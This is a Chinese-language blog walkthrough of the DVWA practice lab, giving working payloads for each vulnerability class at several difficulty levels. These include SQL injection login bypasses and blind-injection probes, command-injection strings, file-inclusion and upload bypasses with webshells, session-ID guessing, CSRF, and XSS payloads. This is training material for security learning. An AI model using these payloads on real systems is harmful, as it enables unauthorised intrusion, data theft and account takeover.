dvwa通关笔记

dvwa通关笔记

Brute Force

low:

  • 直接上burp暴力破解

  • 因为过滤较少,我们也可以考虑一手sql注入,万能密码登陆,username处输入'有报错,输入"发现页面正常,那么这个地方首先判断是肯定存在sql注入的,根据我们前面总结这种没有怎么过滤的,输入什么报错,那么它就是什么闭合(排除有括号的情况,也可也根据报错提示,来判断什么闭合),此处为'闭合

    直接 ' or 1=1 --+,或者 ' or 1=1 #无法进入,那么我们猜测过滤了注释符,' or '1'='1绕过(使最后面那 ' 正好与前面的1闭合,sql语句闭合且为真),但还是无法登陆

    那么我们可以猜测,它的源码可能判断了必须要输入用户名,甚至密码,字符不能为空

    尝试 aaa' or '1'='1

    依然无法登陆

    那么我们猜测,用户名是否做了一个的判断,数据库里面要有这个用户才能进行下一步密码匹配与否的检验,甚至是判断固定的一个用户名,如果没有那个用户名,无论如何也无法登陆

    admin' or '1'='1

    登陆成功

    那么由此尝试admin'#,同样也登陆成功

medium

常规方法的话,和low基本一样,burp抓包进行爆破
注入的话,过滤得应该比较多了,有兴趣的也可以去尝试一手绕过

heigh

抓包可以查看到有token:

那么此时我们可以想到pikachu靶场的暴力破解token防爆破那一栏,其实和这个是一样的

选择音叉攻击

有效载荷为password和user_token

线程设置唯一

password参数自己弄个简单的密码清单,或者导入一个简单的密码字典

user_token参数设置为递归搜索:

去选项里点击添加:

Grep-Extract:

再去有效载荷集2这个地方,ctrl+v一把:

开始攻击,结果如下:

爆出密码为123

Command Injection

命令连接符:

command1 && command2 先执行command1后执行command2
command1 | command2 只执行command2
command1 & command2 先执行command2后执行command1

low:

127.0.0.1|ipconfig

127.0.0.1&&net user

medium:

过滤了&
&,|仍可用

127.0.0.1|net user

high:

没有过滤|,|依然可以用

CSRF

low:直接burp抓包,修改,生成url,诱导受害者点击

medium:Referer参数的值中必须包含主机名,将攻击页面改名为127.0.0.1.html放如黑客的服务器里

high:获取用户的token,进行修改

File Inclusion

medium:

双写关键词绕过,如:

?page=..././..././hackable/uploads/shell.php

?page=hthttp://tp://127.0.0.1

high:

page参数必须以file开头

?page=file:///D:/phpStudy/DVWA/php.ini

File Upload

  • low:
    没有过滤直接上传,直接一句话,

  • medium:
    burp抓包改类型为image/png
    00截断,1、是将文件名改为1.php .png,burp抓包,将表示空格的20改为00,截断后面的.png,使之判定为php文件

-high:
对文件头进行了判断必须为图片格式,则制作图片马
cmd执行:
copy aa.png/b+bb.php/a cc.png

Insecure CAPTCHA

文件有缺失,喜欢折腾的可以去折腾一下

SQL Injection

low:-1'union select version(),database()#

medium:抓包,为数字型,直接联合注入

high:判断为字符型,'闭合,只是换了个地方进行联合注入

payload:

1' union select database(),version()#

SQL Injection(blind)

low:1'and length(database())>3#,正常

​ 1'and length(database())>4#,异常

​ '闭合,上burp刚

medium:数字型,直接burp抓包干

high:判断为'闭合,也只是换了一个地方,但是不能配合burp爆破,只能手工不断猜解:

使用二分法:

输入1’ and ascii(substr(databse(),1,1))>97 #,显示存在,说明数据库名的第一个字符的ascii值大于97(小写字母a的ascii值);

输入1’ and ascii(substr(databse(),1,1))<122 #,显示存在,说明数据库名的第一个字符的ascii值小于122(小写字母z的ascii值);

输入1’ and ascii(substr(databse(),1,1))<109 #,显示存在,说明数据库名的第一个字符的ascii值小于109(小写字母m的ascii值);

输入1’ and ascii(substr(databse(),1,1))<103 #,显示存在,说明数据库名的第一个字符的ascii值小于103(小写字母g的ascii值);

输入1’ and ascii(substr(databse(),1,1))<100 #,显示不存在,说明数据库名的第一个字符的ascii值不小于100(小写字母d的ascii值);

输入1’ and ascii(substr(databse(),1,1))>100 #,显示不存在,说明数据库名的第一个字符的ascii值不大于100(小写字母d的ascii值),所以数据库名的第一个字符的ascii值为100,即小写字母d。

Weak Session IDs

弱会话IDs,容易被猜到的session,从而被劫持会话,session是登陆服务器后,生成的一个登陆凭证,如果session在生命周期被盗取,相当于账号被盗取,黑客可以不输入密码,直接通过session登陆你的账号

  • low:

    这就很直白了

  • medium

    根据网上人云亦云的经验,它就是一个时间戳,如下图:

    随便生成一个时间戳便可登陆进去

  • heigh
    md5加密

XSS(DOM)

略,pikachu有详细讲解

XSS(Reflected)

  • low:
<script>alert(1)</script>script>

<body onload=alert('xss2')>

<a href='' onclick=alert('xss3')>click1</a>

<img src='' onerror=alert('xss4')>

重定向:<script>window.location='http://www.163.com'</script>

获取cookie:<script>alert(document.cookie)</script>

  • medium:

双写绕过:<scri<script>pt>alert(1)</script>

大小写绕过:<scRIpt>alert(1)</script>

尝试使用其他标签:

<body onload=alert('s')>

<a href=''onclick=alert(1)>click</a>
  • high:

尝试使用别的标签绕过:


<body onload=alert('a')>

<img src="" onerror=alert(1)>

<a href='' onclick=alert(1)>click</a>

XXS(Stored)

  • medium
<Script>alert(1)</Script>

<body onload=alert(1)>

<a href='' onclick=alert(1)>click</a>
  • high
<body onload=alert(1)>

<a href='' onclick=alert(1)>click</a>
作者:
除特别声明为原创博文外,均可转载,也欢迎转载,未经作者同意必须在文章页面给出原文链接,否则保留追究法律责任的权利,谢谢您的配合。
原文地址:https://www.cnblogs.com/sillage/p/13712060.html